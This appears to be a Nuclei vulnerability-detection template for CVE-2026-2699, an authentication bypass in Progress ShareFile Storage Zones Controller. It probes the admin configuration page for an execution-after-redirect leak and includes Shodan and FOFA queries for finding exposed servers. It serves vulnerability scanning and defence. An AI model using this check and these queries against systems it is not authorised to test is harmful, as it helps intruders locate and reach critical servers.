CVE-2026-2699: Progress ShareFile Storage Zones Controller - Authentication Bypass

id: CVE-2026-2699

info:
  name: Progress ShareFile Storage Zones Controller - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    Customer Managed ShareFile Storage Zones Controller (SZC) contains an authentication bypass (Execution After Redirect) that allows unauthenticated attackers to access restricted configuration pages. This leads to changing system configuration and potential remote code execution.
  impact: |
    Unauthenticated attackers can change system configuration and potentially execute remote code, leading to full system compromise.
  remediation: Update ShareFile Storage Zones Controller to version 5.12.4 or later.
  reference:
    - https://github.com/watchtowrlabs/watchTowr-vs-Progress-ShareFile-CVE-2026-2699
    - https://labs.watchtowr.com/youre-not-supposed-to-sharefile-with-everyone-progress-sharefile-pre-auth-rce-chain-cve-2026-2699-cve-2026-2701/
    - https://docs.sharefile.com/en-us/storage-zones-controller/5-0/security-vulnerability-feb26
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-2699
    cwe-id: CWE-284
    epss-score: 0.59506
    epss-percentile: 0.99075
  metadata:
    verified: true
    max-request: 1
    vendor: progress
    product: sharefile_storage_zones_controller
    fofa-query: title=="ShareFile Storage Server"
    shodan-query: title:"ShareFile Storage Server"
  tags: cve,cve2026,progress,sharefile,auth-bypass,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: word
        part: body
        words:
          - "ShareFile Storage Server"
        internal: true

  - raw:
      - |
        GET /ConfigService/Admin.aspx HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'content_length >= 10000'
        condition: and
# digest: 490a00463044022049fd6644bdc37bd8340eb39dae07dc7c030f1dbe844daeb8b4afff73cfa566990220455d395725e5b9bfc7a48b0a7d52a02b461de39fc949985c4d1c71237918d604:922c64590222798bb761d5b6d8e72950

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